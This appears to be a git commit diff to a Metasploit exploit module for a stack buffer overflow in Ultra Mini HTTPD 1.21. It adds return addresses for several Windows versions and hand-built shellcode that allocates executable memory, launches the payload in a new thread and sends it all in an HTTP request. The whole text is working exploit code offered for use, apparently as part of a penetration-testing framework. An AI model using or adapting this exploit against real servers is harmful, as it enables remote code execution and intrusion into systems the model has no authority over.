Land #3027, @OJ's fix for ultraminihttp_bof
commit
b2d4048f50
|
@ -10,19 +10,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
ADDR_VIRTUALALLOC = 0x0041A140
|
||||
ADDR_CREATETHREAD = 0x0041A240
|
||||
ADDR_TERMINATETHREAD = 0x0041A23C
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
|
||||
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
|
||||
request.
|
||||
request. This exploit has to deal with the fact that the application's request handler
|
||||
thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
|
||||
some RWX memory, copies the payload to it and creates another thread. When done, it
|
||||
terminates the current thread so that it doesn't crash and hence doesn't bring down
|
||||
the process with it.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'superkojiman', #Discovery, PoC
|
||||
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
|
||||
'superkojiman', # Discovery, PoC
|
||||
'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
|
||||
'OJ Reeves <oj[at]buffered.io>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -33,22 +42,41 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1623,
|
||||
'StackAdjustment' => -3500,
|
||||
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "thread"
|
||||
'EXITFUNC' => "thread"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'v1.21 - Windows XP SP3',
|
||||
'v1.21 - Windows Server 2000',
|
||||
{
|
||||
'Offset' => 5412,
|
||||
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
|
||||
'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
|
||||
}
|
||||
],
|
||||
[
|
||||
'v1.21 - Windows XP SP0',
|
||||
{
|
||||
'Offset' => 5412,
|
||||
'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
|
||||
}
|
||||
],
|
||||
[
|
||||
'v1.21 - Windows XP SP2/SP3',
|
||||
{
|
||||
'Offset' => 5412,
|
||||
'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
|
||||
}
|
||||
],
|
||||
[
|
||||
'v1.21 - Windows Server 2003 (Enterprise)',
|
||||
{
|
||||
'Offset' => 5412,
|
||||
'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
|
||||
}
|
||||
]
|
||||
],
|
||||
|
@ -58,15 +86,88 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
))
|
||||
end
|
||||
|
||||
def mov_eax(addr)
|
||||
"\xB8" + [addr].pack("V*")
|
||||
end
|
||||
|
||||
def call_addr_eax(addr)
|
||||
mov_eax(addr) + "\xff\x10"
|
||||
end
|
||||
|
||||
def exploit
|
||||
buf = rand_text(target['Offset'])
|
||||
new_thread = ""
|
||||
|
||||
# we use 0 a lot, so set EBX to zero so we always have it handy
|
||||
new_thread << "\x31\xdb" # xor ebx,ebx
|
||||
|
||||
# store esp in esi, and offset it to point at the rest of the payload
|
||||
# as this will be used as the source for copying to the area of memory
|
||||
# which will be executed in a separate thread. We fill in the offset
|
||||
# at the end as we can calculate it instead of hard-code it
|
||||
new_thread << "\x89\xe6" # mov esi,esp
|
||||
new_thread << "\x83\xc6\x00" # add esp,<TODO>
|
||||
esi_count_offset = new_thread.length - 1
|
||||
|
||||
# Create a new area of memory with RWX permissions that we can copy
|
||||
# the payload to and execute in another thread. This is required
|
||||
# because the current thread is killed off after 60 seconds and it
|
||||
# takes our payload's execution with it.
|
||||
new_thread << "\x6a\x40" # push 0x40
|
||||
new_thread << "\x68\x00\x30\x00\x00" # push 0x3000
|
||||
new_thread << "\x68\x00\x10\x00\x00" # push 0x1000
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << call_addr_eax(ADDR_VIRTUALALLOC) # call VirtualAlloc
|
||||
|
||||
# copy the rest of the payload over to the newly allocated area of
|
||||
# memory which is executable.
|
||||
payload_size = [payload.encoded.length].pack("V*")
|
||||
new_thread << "\xb9" + payload_size # mov ecx,payload_size
|
||||
new_thread << "\x89\xc7" # mov edi,eax
|
||||
new_thread << "\xf2\xa4" # rep movsb
|
||||
|
||||
# kick of the payload in a new thread
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << "\x50" # push eax (payload dress)
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
new_thread << call_addr_eax(ADDR_CREATETHREAD) # call CreateThread
|
||||
|
||||
# Terminate the current thread so that we don't crash and hence bring
|
||||
# the entire application down with us.
|
||||
new_thread << "\x53" # push ebx (0)
|
||||
# set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
|
||||
new_thread << "\x4b" # dec ebx
|
||||
new_thread << "\x4b" # dec ebx
|
||||
new_thread << "\x53" # push ebx (0xFFFFFFFE)
|
||||
new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread
|
||||
|
||||
# patch the offset of esi back into the payload
|
||||
nops = 32
|
||||
decode_stub_size = 23
|
||||
calculated_offset = new_thread.length + nops + decode_stub_size
|
||||
new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")
|
||||
|
||||
# start constructing our final payload
|
||||
buf = rand_text_alpha_upper(target['Offset'])
|
||||
buf << [target.ret].pack("V*")
|
||||
|
||||
# ESP points right to the top of our shellcode so we just add a few nops
|
||||
# to the start to avoid having the first few bytes nailed by the decoder.
|
||||
buf << make_nops(nops)
|
||||
|
||||
# we re-encode, including the thread creation stuff and the chosen payload
|
||||
# as we don't currently have the ability to "prepend raw" stuff to the front
|
||||
# of the buffer prior to encoding.
|
||||
buf << encode_shellcode_stub(new_thread)
|
||||
buf << payload.encoded
|
||||
|
||||
print_status("Sending buffer...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{buf}"
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue